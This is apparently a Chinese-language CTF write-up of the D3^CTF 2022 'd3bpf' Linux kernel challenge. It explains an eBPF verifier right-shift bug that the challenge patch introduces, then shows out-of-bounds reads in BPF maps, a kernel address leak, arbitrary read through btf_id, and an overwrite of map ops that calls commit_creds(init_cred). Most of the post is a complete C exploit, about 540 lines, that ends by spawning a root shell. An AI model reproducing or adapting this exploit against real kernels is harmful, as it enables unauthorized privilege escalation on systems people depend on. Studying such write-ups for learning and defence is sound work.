d3bpf
196082 慢慢好起来

虽然在之前出过几篇关于bpf的文章,但是我并没有得到很深层次的理解,文章的exp基本就是copy的。并且,D3^CTF 2022还有两道ebpf需要复现,所以现在就选择了复现一下。

题目分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
diff --git a/fs/fs_context.c b/fs/fs_context.c
index 2834d1afa..0a79c9099 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -530,7 +530,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
param->key);
}

- if (len > PAGE_SIZE - 2 - size)
+ if (size + len + 2 > PAGE_SIZE) // patch for CVE-2022-0185
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 37581919e..8e98d4af5 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -6455,11 +6455,11 @@ static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
scalar_min_max_lsh(dst_reg, &src_reg);
break;
case BPF_RSH:
- if (umax_val >= insn_bitness) {
- /* Shifts greater than 31 or 63 are undefined.
- * This includes shifts by a negative number.
- */
- mark_reg_unknown(env, regs, insn->dst_reg);
+ if (umin_val >= insn_bitness) {
+ if (alu32)
+ __mark_reg32_known(dst_reg, 0);
+ else
+ __mark_reg_known_zero(dst_reg);
break;
}
if (alu32)
diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c
index 6bbc7a448..d949fdf00 100644
--- a/net/packet/af_packet.c
+++ b/net/packet/af_packet.c
@@ -4448,9 +4448,10 @@ static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
}

out_free_pg_vec:
- bitmap_free(rx_owner_map);
- if (pg_vec)
+ if (pg_vec) {
+ bitmap_free(rx_owner_map); // patch for CVE-2021-22600
free_pg_vec(pg_vec, order, req->tp_block_nr);
+ }
out:
return err;
}

题目拿到手之后是一个diff文件,在文件最上面有一个patch是为了修复CVE-2022-0185,在文件的最下面是一个patch,也明说了就是为了修复CVE-2021-22600,不过上面还有一段修改。

上面将原本的语句删除了,并且添加了几条语句。原本的语句中的,在进行RSH时,如果超过31或则63则将寄存器设置为unkown。但是在修改过后的语句中如果超过了63或者31不是设置为unknown而是默认设置为0。

这里因为架构的原因,如果我们使用右移64位得到的结果为1

1
2
3
pwndbg> p/x 1 >> 64
$3 = 0x1
pwndbg>

所以题目这里给的漏洞为,在verifier为0但是在runtime为1的寄存器。

观察题目的启动命令

1
2
3
4
5
6
7
8
9
10
qemu-system-x86_64 \
-m 128M \
-kernel bzImage \
-initrd rootfs.cpio \
-append 'console=ttyS0 kaslr quiet' \
-monitor /dev/null \
-cpu kvm64,+smep,+smap \
-smp cores=1,threads=1 \
-nographic \
-s

基本上能开的都开了,启动虚拟机也可以查看,其实kpti也是打开了的。

利用分析

泄漏

因为我们现在有一个verifier为0,runtime为1的寄存器所以我们可以尝试越界读来造成泄漏,首先就需要认识bpf_map结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
struct bpf_map {
/* The first two cachelines with read-mostly members of which some
* are also accessed in fast-path (e.g. ops, max_entries).
*/
const struct bpf_map_ops *ops ____cacheline_aligned;
struct bpf_map *inner_map_meta;
#ifdef CONFIG_SECURITY
void *security;
#endif
enum bpf_map_type map_type;
u32 key_size;
u32 value_size;
u32 max_entries;
u32 map_flags;
int spin_lock_off; /* >=0 valid offset, <0 error */
u32 id;
int numa_node;
u32 btf_key_type_id;
u32 btf_value_type_id;
struct btf *btf;
#ifdef CONFIG_MEMCG_KMEM
struct mem_cgroup *memcg;
#endif
char name[BPF_OBJ_NAME_LEN];
u32 btf_vmlinux_value_type_id;
bool bypass_spec_v1;
bool frozen; /* write-once; write-protected by freeze_mutex */
/* 22 bytes hole */

/* The 3rd and 4th cacheline with misc members to avoid false sharing
* particularly with refcounting.
*/
atomic64_t refcnt ____cacheline_aligned;
atomic64_t usercnt;
struct work_struct work;
struct mutex freeze_mutex;
u64 writecnt; /* writable mmap cnt; protected by freeze_mutex */
};

如果我们在开始定义类型为BPF_MAP_TYPE_ARRAY那么结构体如下:

1
2
3
4
5
6
7
8
9
10
11
struct bpf_array {
struct bpf_map map;
u32 elem_size;
u32 index_mask;
struct bpf_array_aux *aux;
union {
char value[0] __aligned(8);
void *ptrs[0] __aligned(8);
void __percpu *pptrs[0] __aligned(8);
};
};

可以看到在上面的bpf_map结构体的开始位置有一个ops指针,而根据以往的经验ops中包含了很多内核函数的指针,当然事实也正如此

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const struct bpf_map_ops array_map_ops = {
.map_meta_equal = array_map_meta_equal,
.map_alloc_check = array_map_alloc_check,
.map_alloc = array_map_alloc,
.map_free = array_map_free,
.map_get_next_key = array_map_get_next_key,
.map_lookup_elem = array_map_lookup_elem,
.map_update_elem = array_map_update_elem,
.map_delete_elem = array_map_delete_elem,
.map_gen_lookup = array_map_gen_lookup,
.map_direct_value_addr = array_map_direct_value_addr,
.map_direct_value_meta = array_map_direct_value_meta,
.map_mmap = array_map_mmap,
.map_seq_show_elem = array_map_seq_show_elem,
.map_check_btf = array_map_check_btf,
.map_lookup_batch = generic_map_lookup_batch,
.map_update_batch = generic_map_update_batch,
.map_btf_name = "bpf_array",
.map_btf_id = &array_map_btf_id,
.iter_seq_info = &iter_seq_info,
};

因为我们上面所选择的类型为数组,所以这里ops会包含array_map_ops指针,所以我们可以利用它来泄漏内核地址。

如果我们使用BPF_FUNC_map_lookup_elem来进行函数调用的话,根据上述ops我们最终会调用到array_map_lookup_elem函数

1
2
3
4
5
6
7
8
9
10
11
/* Called from syscall or from eBPF program */
static void *array_map_lookup_elem(struct bpf_map *map, void *key)
{
struct bpf_array *array = container_of(map, struct bpf_array, map);
u32 index = *(u32 *)key;

if (unlikely(index >= array->map.max_entries))
return NULL;

return array->value + array->elem_size * (index & array->index_mask);
}

这里的注释也说明了,这里允许被syscall以及eBPF程序调用。而这里程序的返回内容则是map_ptr.value所以可以根据这里的偏移得出返回内容为map_ptr+0x110的地址。

可能到这里大家都应该有一定的思路了,不过这里还存在一个检测ALU Sanitation,在这个检测中alu_limit表示操作允许最大值,这里做限制的主要目的是防止通过ebpf程序调用出现越界或访问不属于他自己的地址区域时所做的限制,如果我们src_reg的值大于alu_limit或者与之符号相反,那么src_reg会被强制制为0,导致指针运算失败。不过在这里绕过的方式也比较简单。

1
2
3
4
5
BPF_MOV64_REG(BPF_REG_0, EXP_REG),
BPF_ALU64_IMM(BPF_ADD, OOB_REG, 0x1000),
BPF_ALU64_IMM(BPF_MUL, BPF_REG_0, 0x1000 - 1),
BPF_ALU64_REG(BPF_SUB, OOB_REG, BPF_REG_0),
BPF_ALU64_REG(BPF_SUB, OOB_REG, EXP_REG),

因为这里存在一个verifier为0的寄存器EXP_REG那么我们如果进行上述代码中的操作即可是的alm_limit0x1000

那么在做完上文中所有操作之后可以正式进入泄漏阶段了,其实有了上述思路,这里泄漏起来就比较简单了

1
2
3
4
5
BPF_ALU64_IMM(BPF_MUL, EXP_REG, 0x110),
BPF_ALU64_REG(BPF_SUB, OOB_REG, EXP_REG),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, OOB_REG, 0),
BPF_STX_MEM(BPF_DW, STORE_REG, BPF_REG_0, 8),
BPF_EXIT_INSN(),

只需要将oob_maparray_map_ops放到store_map的value中去即可。并且在bpf_map中存在一个成员work是一个双向链表的结构,其中存在一个地址指向自己,这样我们即可获取oob_map的地址了。

不过在实际做的过程中会发现上述利用方式会存在许多问题,达不到真正意义上的任意内存读,这里我忘记了具体原因,应该是会检测寄存器的值不能为堆栈以外的地址,所以还需要利用一个新的办法,obj_get_info_by_fd函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
static int bpf_map_get_info_by_fd(struct file *file,
struct bpf_map *map,
const union bpf_attr *attr,
union bpf_attr __user *uattr)
{
struct bpf_map_info __user *uinfo = u64_to_user_ptr(attr->info.info);
struct bpf_map_info info;
u32 info_len = attr->info.info_len;
int err;

err = bpf_check_uarg_tail_zero(uinfo, sizeof(info), info_len);
if (err)
return err;
info_len = min_t(u32, sizeof(info), info_len);

memset(&info, 0, sizeof(info));
info.type = map->map_type;
info.id = map->id;
info.key_size = map->key_size;
info.value_size = map->value_size;
info.max_entries = map->max_entries;
info.map_flags = map->map_flags;
memcpy(info.name, map->name, sizeof(map->name));

if (map->btf) {
info.btf_id = btf_obj_id(map->btf);
info.btf_key_type_id = map->btf_key_type_id;
info.btf_value_type_id = map->btf_value_type_id;
}
info.btf_vmlinux_value_type_id = map->btf_vmlinux_value_type_id;

if (bpf_map_is_dev_bound(map)) {
err = bpf_map_offload_info_fill(&info, map);
if (err)
return err;
}

if (copy_to_user(uinfo, &info, info_len) ||
put_user(info_len, &uattr->info.info_len))
return -EFAULT;

return 0;
}
1
2
3
4
u32 btf_obj_id(const struct btf *btf)
{
return btf->id;
}

所以如果我们控制bpf_map结构体中的btf即可实现真正意义上的任意地址泄漏。

提权

其实这里的提权方式可能大家都能想到,因为在bpf_map结构体中存在一个结构体为ops,而我们在以往的kernel题目中利用的比较多的就是这个ops,所以这里同样可以这样使用。

这里选择的最终利用函数是前面提到过的work_for_cpu_fn函数。过程就是,首先我们需要先泄漏出当前ops结构体中的所有函数地址,随后将函数地址中map_get_next_key函数所在位置的指针替换为work_for_cpu_fn,紧接着写入到oob_map的value中去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
static int map_get_next_key(union bpf_attr *attr)
{
void __user *ukey = u64_to_user_ptr(attr->key);
void __user *unext_key = u64_to_user_ptr(attr->next_key);
int ufd = attr->map_fd;
struct bpf_map *map;
void *key, *next_key;
struct fd f;
int err;

if (CHECK_ATTR(BPF_MAP_GET_NEXT_KEY))
return -EINVAL;

f = fdget(ufd);
map = __bpf_map_get(f);
if (IS_ERR(map))
return PTR_ERR(map);
if (!(map_get_sys_perms(map, f) & FMODE_CAN_READ)) {
err = -EPERM;
goto err_put;
}

if (ukey) {
key = __bpf_copy_key(ukey, map->key_size);
if (IS_ERR(key)) {
err = PTR_ERR(key);
goto err_put;
}
} else {
key = NULL;
}

err = -ENOMEM;
next_key = kvmalloc(map->key_size, GFP_USER);
if (!next_key)
goto free_key;

if (bpf_map_is_dev_bound(map)) {
err = bpf_map_offload_get_next_key(map, key, next_key);
goto out;
}

rcu_read_lock();
err = map->ops->map_get_next_key(map, key, next_key);
rcu_read_unlock();
out:
if (err)
goto free_next_key;

err = -EFAULT;
if (copy_to_user(unext_key, next_key, map->key_size) != 0)
goto free_next_key;

err = 0;

free_next_key:
kvfree(next_key);
free_key:
kvfree(key);
err_put:
fdput(f);
return err;
}

这里选择这个函数的很明显,在中途直接调用了ops中的map_get_next_key,并且第一个参数为map。那么这个时候我们如果修改ops为我们的bpf->value即可调用到work_for_cpu_fn,那么在根据work_for_cpu_fn函数内部调整commit_credsinit_cred即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
#define _GNU_SOURCE
#include <err.h>
#include <inttypes.h>
#include <sched.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <stdint.h>
#include <sys/prctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <time.h>
#include <linux/bpf_common.h>
#include <sys/types.h>
#include <linux/bpf.h>

#ifndef _BPF_DEFS_H_
#define _BPF_DEFS_H_

#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn){ \
.code = CODE, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = IMM})

#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn){ \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32)(IMM)}), \
((struct bpf_insn){ \
.code = 0, /* zero is reserved opcode */ \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64)(IMM)) >> 32})

/* Memory load, dst_reg = *(uint *) (src_reg + off16) */

#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn){ \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0})

/* Memory store, *(uint *) (dst_reg + off16) = src_reg */

#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn){ \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0})

/* Conditional jumps against immediates, if (dst_reg 'op' imm32) goto pc + off16 */

#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn){ \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM})

/* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */

#define BPF_JMP32_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn){ \
.code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM})

/* Short form of mov, dst_reg = imm32 */

#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn){ \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM})

#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn){ \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM})

/* Short form of mov, dst_reg = src_reg */

#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn){ \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0})

#define BPF_MOV32_REG(DST, SRC) \
((struct bpf_insn){ \
.code = BPF_ALU | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0})

/* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */

#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn){ \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM})

/* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */

#define BPF_ALU64_REG(OP, DST, SRC) \
((struct bpf_insn){ \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0})

/* Program exit */

#define BPF_EXIT_INSN() \
((struct bpf_insn){ \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0})

/* BPF_LD_IMM64 macro encodes single 'load 64-bit immediate' insn */
#define BPF_LD_IMM64(DST, IMM) \
BPF_LD_IMM64_RAW(DST, 0, IMM)

/* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)

// varies from userspace bpf_map_info definition so need to redefine
struct bpf_map_info_kernel
{
__u32 type;
__u32 id;
__u32 key_size;
__u32 value_size;
__u32 max_entries;
__u32 map_flags;
char name[BPF_OBJ_NAME_LEN];
__u32 ifindex;
__u32 btf_vmlinux_value_type_id;
__u64 netns_dev;
__u64 netns_ino;
__u32 btf_id;
__u32 btf_key_type_id;
__u32 btf_value_type_id;
} __attribute__((aligned(8)));

#endif

int bpf(int cmd, union bpf_attr *attrs)
{
return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int create_map(union bpf_attr *map_attrs)
{
return bpf(BPF_MAP_CREATE, map_attrs);
}

int update_map_element(int fd, uint64_t key, void *value, uint64_t flags)
{
union bpf_attr attr = {};
attr.map_fd = fd;
attr.key = (uint64_t)&key;
attr.value = (uint64_t)value;
attr.flags = flags;
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}

int lookup_map_element(int fd, uint64_t key, void *value)
{
union bpf_attr attr = {};
attr.map_fd = fd;
attr.key = (uint64_t)&key;
attr.value = (uint64_t)value;
return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}

int obj_get_info_by_fd(union bpf_attr *attrs)
{
return bpf(BPF_OBJ_GET_INFO_BY_FD, attrs);
}

int map_get_next_key(union bpf_attr *attrs)
{
return bpf(BPF_MAP_GET_NEXT_KEY, attrs);
}

int run_bpf_prog(struct bpf_insn *insn, uint32_t cnt, int *prog_fd_out)
{
int ret = -1;
int prog_fd = -1;
char verifier_log_buff[0x200000] = {0};
int socks[2] = {0};
union bpf_attr prog_attrs =
{
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = cnt,
.insns = (uint64_t)insn,
.license = (uint64_t) "",
.log_level = 2,
.log_size = sizeof(verifier_log_buff),
.log_buf = (uint64_t)verifier_log_buff};

if (NULL != prog_fd_out)
{
prog_fd = *prog_fd_out;
}

if (0 >= prog_fd)
{
prog_fd = bpf(BPF_PROG_LOAD, &prog_attrs);
}

if (0 > prog_fd)
{
puts(verifier_log_buff);
goto done;
}

if (0 != socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
{
goto done;
}

if (0 != setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(int)))
{
goto done;
}

if (0x7 != write(socks[1], "zzzzzzz", 7))
{
goto done;
}

if (NULL != prog_fd_out)
{
*prog_fd_out = prog_fd;
}

else
{
close(prog_fd);
}

ret = 0;

done:
close(socks[0]);
close(socks[1]);
return ret;
}

size_t user_cs, user_ss, user_sp, user_rflags;
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*]status has been saved.");
}

void err_exit(char *err_msg)
{
puts(err_msg);
exit(-1);
}

void get_shell()
{
if (getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

#define EXP_REG BPF_REG_8
#define OOB_REG BPF_REG_7
#define STORE_REG BPF_REG_6

#define attack(oob_map_fd, store_map_fd) \
BPF_LD_MAP_FD(BPF_REG_1, oob_map_fd), \
BPF_MOV64_IMM(BPF_REG_0, 0), \
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
BPF_EXIT_INSN(), \
BPF_MOV64_REG(OOB_REG, BPF_REG_0), \
BPF_LD_MAP_FD(BPF_REG_1, store_map_fd), \
BPF_MOV64_IMM(BPF_REG_0, 0), \
BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4), \
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), \
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), \
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), \
BPF_EXIT_INSN(), \
BPF_MOV64_REG(STORE_REG, BPF_REG_0), \
BPF_MOV64_IMM(BPF_REG_9, 64), \
BPF_MOV64_IMM(EXP_REG, 1), \
BPF_ALU64_REG(BPF_RSH, EXP_REG, BPF_REG_9), \
BPF_MOV64_REG(BPF_REG_0, EXP_REG), \
BPF_ALU64_IMM(BPF_ADD, OOB_REG, 0x1000), \
BPF_ALU64_IMM(BPF_MUL, BPF_REG_0, 0x1000 - 1), \
BPF_ALU64_REG(BPF_SUB, OOB_REG, BPF_REG_0), \
BPF_ALU64_REG(BPF_SUB, OOB_REG, EXP_REG)

static int setup_btf_bpf_prog_fd;
void read_kernel(int oob_map_fd, int store_map_fd, unsigned long addr, char *buf, int len)
{
int i;
char values[0x1500] = {0};
struct bpf_insn read_map_ops_content[] = {
attack(oob_map_fd, store_map_fd),
BPF_ALU64_IMM(BPF_MUL, EXP_REG, 0xD0),
BPF_ALU64_REG(BPF_SUB, OOB_REG, EXP_REG),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, STORE_REG, 8),
BPF_STX_MEM(BPF_DW, OOB_REG, BPF_REG_0, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()};
for (i = 0; i < len / 4; i++)
{
memset(values, 0, sizeof(values));
struct bpf_map_info_kernel info = {0};
union bpf_attr attr = {
.info.bpf_fd = oob_map_fd,
.info.info = (long long unsigned int)&info,
.info.info_len = sizeof(info)};

((unsigned long *)&values[8])[0] = addr - 0x58;
if (addr == 0)
{
((uint64_t *)&values[8])[0] = 0;
}
if (0 != update_map_element(store_map_fd, 0, values, BPF_ANY))
{
err_exit("[-] failed to update map element values!\n");
}

if (0 != run_bpf_prog(read_map_ops_content, sizeof(read_map_ops_content) / sizeof(read_map_ops_content[0]), &setup_btf_bpf_prog_fd))
{
err_exit("[-] Failed to run bpf program\n");
}

if (0 != obj_get_info_by_fd(&attr))
{
err_exit("[-] Failed to get map info\n");
}
addr = addr + 4;
((uint32_t *)buf)[i] = info.btf_id;
}
printf("%d\n", i);
}

unsigned long raw_array_map_ops = 0xffffffff820363a0;

unsigned long kernel_addr;
unsigned long kernel_base;
unsigned long kernel_offset;

int main()
{
// save_status();
union bpf_attr map_attr = {
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = sizeof(int),
.value_size = 0x1500,
.max_entries = 1};

int store_map_fd = create_map(&map_attr);
int oob_map_fd = create_map(&map_attr);

if (store_map_fd < 0 || oob_map_fd < 0)
{
err_exit("Failed to create map\n");
}

char *values = malloc(0x3000);
unsigned long ops[0x1000] = {0};
memset(values, 0, sizeof(values));

if (0 != update_map_element(oob_map_fd, 0, values, BPF_ANY))
{
err_exit("[-] failed to update map element values!\n");
}

if (0 != update_map_element(store_map_fd, 0, values, BPF_ANY))
{
err_exit("[-] failed to update map element values!\n");
}

struct bpf_insn read_map_ops[] = {
attack(oob_map_fd, store_map_fd),
BPF_ALU64_IMM(BPF_MUL, EXP_REG, 0x110),
BPF_ALU64_REG(BPF_SUB, OOB_REG, EXP_REG),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, OOB_REG, 0),
BPF_STX_MEM(BPF_DW, STORE_REG, BPF_REG_0, 8),
BPF_EXIT_INSN()};

if (0 != run_bpf_prog(read_map_ops, sizeof(read_map_ops) / sizeof(struct bpf_insn), NULL))
{
err_exit("[-] Failed to run bpf program\n");
}

if (0 != lookup_map_element(store_map_fd, 0, values))
{
err_exit("[-] Failed to lookup map element\n");
}

unsigned long array_map_ops = ((unsigned long *)(&values[8]))[0];
kernel_offset = array_map_ops - raw_array_map_ops;
kernel_base = 0xffffffff81000000 + kernel_offset;
unsigned long modprobe_path_addr = 0x1a6c240 + kernel_base;
unsigned long work_for_cpu_fn_addr = kernel_offset + 0xffffffff810bc190;
unsigned long commit_creds_addr = kernel_offset + 0xffffffff810cce30;
unsigned long init_creds_addr = kernel_offset + 0xffffffff82a6b880;
printf("array_map_ops_addr => %p\n", array_map_ops);
printf("kernel_base => %p\n", kernel_base);
printf("kernel_offset => %p\n", kernel_offset);
printf("modprobe_path => %p\n", modprobe_path_addr);
printf("work_for_cpu_fn => %p\n", work_for_cpu_fn_addr);
printf("commit_creds_addr => %p\n", commit_creds_addr);
printf("init_creds_addr => %p\n", init_creds_addr);

struct bpf_insn read_map_addr[] = {
attack(oob_map_fd, store_map_fd),
BPF_ALU64_IMM(BPF_MUL, EXP_REG, 0x110 - 0xc0),
BPF_ALU64_REG(BPF_SUB, OOB_REG, EXP_REG),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, OOB_REG, 0),
BPF_STX_MEM(BPF_DW, STORE_REG, BPF_REG_0, 8),
BPF_EXIT_INSN()};

if (0 != run_bpf_prog(read_map_addr, sizeof(read_map_addr) / sizeof(struct bpf_insn), NULL))
{
err_exit("[-] Failed to run bpf program\n");
}

if (0 != lookup_map_element(store_map_fd, 0, values))
{
err_exit("[-] Failed to lookup map element\n");
}
unsigned long map_ptr = ((unsigned long *)(&values[8]))[0];
printf("map_ptr => %p\n", map_ptr);
printf("gap => %p\n", (modprobe_path_addr - map_ptr));
unsigned long map_value = map_ptr - 0xc0 + 0x110;

// 0x79706f432f00

read_kernel(oob_map_fd, store_map_fd, array_map_ops, values, 0xf0);

*((unsigned long *)(values + 8 * 4)) = work_for_cpu_fn_addr;

if (0 != update_map_element(oob_map_fd, 0, values, BPF_ANY))
{
err_exit("[-] failed to update map element values!\n");
}
puts("get_ops!");

struct bpf_insn modify_oob_map[] = {
attack(oob_map_fd, store_map_fd),
BPF_ALU64_IMM(BPF_MUL, EXP_REG, 0x110),
BPF_ALU64_REG(BPF_SUB, OOB_REG, EXP_REG),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, STORE_REG, 0x20),
BPF_STX_MEM(BPF_DW, OOB_REG, BPF_REG_0, 0x20),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, STORE_REG, 0x28),
BPF_STX_MEM(BPF_DW, OOB_REG, BPF_REG_0, 0x28),
BPF_LDX_MEM(BPF_DW, BPF_REG_0, STORE_REG, 0x30),
BPF_STX_MEM(BPF_DW, OOB_REG, BPF_REG_0, 0),
BPF_EXIT_INSN()};

ops[4] = commit_creds_addr;
ops[5] = init_creds_addr;
ops[6] = map_value;

if (0 != update_map_element(store_map_fd, 0, ops, BPF_ANY))
{
err_exit("[-] failed to update map element values!\n");
}

if (0 != run_bpf_prog(modify_oob_map, sizeof(modify_oob_map) / sizeof(struct bpf_insn), NULL))
{
err_exit("[-] Failed to run bpf program\n");
}
puts("[+] updated oob_map");
unsigned long key = 0;
unsigned long next_key;
union bpf_attr attr = {
.map_fd = oob_map_fd,
.key = &key,
.next_key = &next_key};
map_get_next_key(&attr);
printf("[+] commit_cred(&init_cred) done!\n");
get_shell();

return 0;
}

image-20230106194449337


题目放在: https://github.com/196082/196082/blob/main/kernel_pwn/d3bpf.zip

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
